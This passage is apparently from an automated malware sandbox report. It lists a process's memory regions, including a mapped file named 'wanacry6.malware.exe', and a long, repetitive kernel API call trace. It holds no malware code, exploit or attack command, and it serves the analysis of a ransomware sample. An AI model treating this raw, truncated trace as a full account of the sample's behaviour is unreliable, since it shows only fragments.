"devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 8265 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 8266 start_va = 0xbe96d80000 end_va = 0xbe96e3ffff entry_point = 0x0 region_type = private name = "private_0x000000be96d80000" filename = "" Region: id = 8267 start_va = 0xbe96940000 end_va = 0xbe96946fff entry_point = 0x0 region_type = private name = "private_0x000000be96940000" filename = "" Region: id = 8268 start_va = 0xbe96d80000 end_va = 0xbe96db3fff entry_point = 0xbe96d81030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8269 start_va = 0xbe96e30000 end_va = 0xbe96e3ffff entry_point = 0x0 region_type = private name = "private_0x000000be96e30000" filename = "" Region: id = 8270 start_va = 0xbe96e40000 end_va = 0xbe96fc7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96e40000" filename = "" Region: id = 8271 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8272 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8273 start_va = 0xbe96fd0000 end_va = 0xbe97150fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96fd0000" filename = "" Region: id = 8274 start_va = 0xbe97160000 end_va = 0xbe9855ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be97160000" filename = "" Region: id = 8275 start_va = 0xbe96950000 end_va = 0xbe96950fff entry_point = 0x0 region_type = private name = "private_0x000000be96950000" filename = "" Region: id = 8276 start_va = 0xbe96960000 end_va = 0xbe96960fff entry_point = 0x0 region_type = private name = "private_0x000000be96960000" filename = "" Region: id = 8277 start_va = 0xbe96970000 end_va = 0xbe96970fff entry_point = 0xbe96970000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 8278 start_va = 0xbe96d80000 end_va = 0xbe96d81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96d80000" filename = "" Region: id = 8279 start_va = 0xbe98560000 end_va = 0xbe9870ffff entry_point = 0x0 region_type = private name = "private_0x000000be98560000" filename = "" Region: id = 8280 start_va = 0xbe98560000 end_va = 0xbe98619fff entry_point = 0xbe9858c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8281 start_va = 0xbe98700000 end_va = 0xbe9870ffff entry_point = 0x0 region_type = private name = "private_0x000000be98700000" filename = "" Region: id = 8282 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 8283 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8284 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 8285 start_va = 0xbe96970000 end_va = 0xbe96970fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96970000" filename = "" Region: id = 8286 start_va = 0xbe98560000 end_va = 0xbe9864ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be98560000" filename = "" Region: id = 8287 start_va = 0xbe96970000 end_va = 0xbe96973fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96970000" filename = "" Region: id = 8288 start_va = 0xbe96d90000 end_va = 0xbe96d96fff entry_point = 0x0 region_type = private name = "private_0x000000be96d90000" filename = "" Region: id = 8289 start_va = 0xbe98710000 end_va = 0xbe9880ffff entry_point = 0x0 region_type = private name = "private_0x000000be98710000" filename = "" Region: id = 8290 start_va = 0xbe98810000 end_va = 0xbe98910fff entry_point = 0xbe9883fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 8291 start_va = 0xbe96da0000 end_va = 0xbe96da0fff entry_point = 0x0 region_type = private name = "private_0x000000be96da0000" filename = "" Region: id = 8292 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 8293 start_va = 0xbe98810000 end_va = 0xbe98ae4fff entry_point = 0xbe98810000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8294 start_va = 0xbe96db0000 end_va = 0xbe96db2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96db0000" filename = "" Region: id = 8295 start_va = 0xbe96db0000 end_va = 0xbe96db0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96db0000" filename = "" Region: id = 8296 start_va = 0xbe96dc0000 end_va = 0xbe96dc0fff entry_point = 0x0 region_type = private name = "private_0x000000be96dc0000" filename = "" Region: id = 8297 start_va = 0xbe98af0000 end_va = 0xbe98fe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be98af0000" filename = "" Region: id = 8298 start_va = 0xbe98ff0000 end_va = 0xbe99e5ffff entry_point = 0xbe98ff0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 8299 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8300 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8301 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8302 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8303 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8304 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8305 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8306 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8307 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8308 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8309 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8310 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8311 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8312 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8313 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8314 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8315 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8316 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8317 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8318 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8319 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8320 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8321 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8322 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8323 start_va = 0xbe96dd0000 end_va = 0xbe96dd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96dd0000" filename = "" Region: id = 8324 start_va = 0xbe99e60000 end_va = 0xbe9a077fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be99e60000" filename = "" Region: id = 8341 start_va = 0xbe96dd0000 end_va = 0xbe96dd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96dd0000" filename = "" Region: id = 8342 start_va = 0xbe96de0000 end_va = 0xbe96de0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96de0000" filename = "" Region: id = 8343 start_va = 0xbe98650000 end_va = 0xbe98693fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be98650000" filename = "" Region: id = 8344 start_va = 0xbe9a080000 end_va = 0xbe9cf15fff entry_point = 0xbe9a080000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 8345 start_va = 0xbe9cf20000 end_va = 0xbe9d319fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be9cf20000" filename = "" Region: id = 8346 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 8347 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 8348 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 8349 start_va = 0xbe9d320000 end_va = 0xbe9d428fff entry_point = 0x0 region_type = private name = "private_0x000000be9d320000" filename = "" Thread: id = 782 os_tid = 0x914 [0118.236] EngAllocMem () returned 0xfffff90142521030 [0118.236] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.236] MmMapViewOfSection (in: SectionObject=0xffffc00001b04a40, Process=0xffffe00001428900, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002113eed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0xbe99e60000, SectionOffset=0xffffd0002113eed0, ViewSize=0xfffff90142521370) returned 0x0 [0118.236] EngCreateBitmap () returned 0x2f0500ac [0118.236] EngAssociateSurface () returned 0x1 [0118.236] EngLockSurface () returned 0xfffff901409e1cb8 [0118.236] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000139abd0 [0118.236] KeInitializeEvent (in: Event=0xffffe0000139abe8, Type=0x1, State=0 | out: Event=0xffffe0000139abe8) [0118.236] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.242] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0118.257] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.258] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.265] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.266] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.266] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.266] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.266] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.266] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.266] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.266] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.267] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.267] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.267] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.267] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.267] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.267] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.267] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.268] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.268] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.268] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.268] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.268] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.268] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.269] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.269] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.269] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.269] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.269] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.270] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.270] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.270] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.270] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.270] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.271] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.271] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.271] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.271] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.271] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.271] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.272] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.272] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.272] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.272] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.272] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.272] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.273] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.273] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.273] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.273] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.273] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.273] IoGetCurrentProcess () returned 0xffffe00001428900 [0118.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 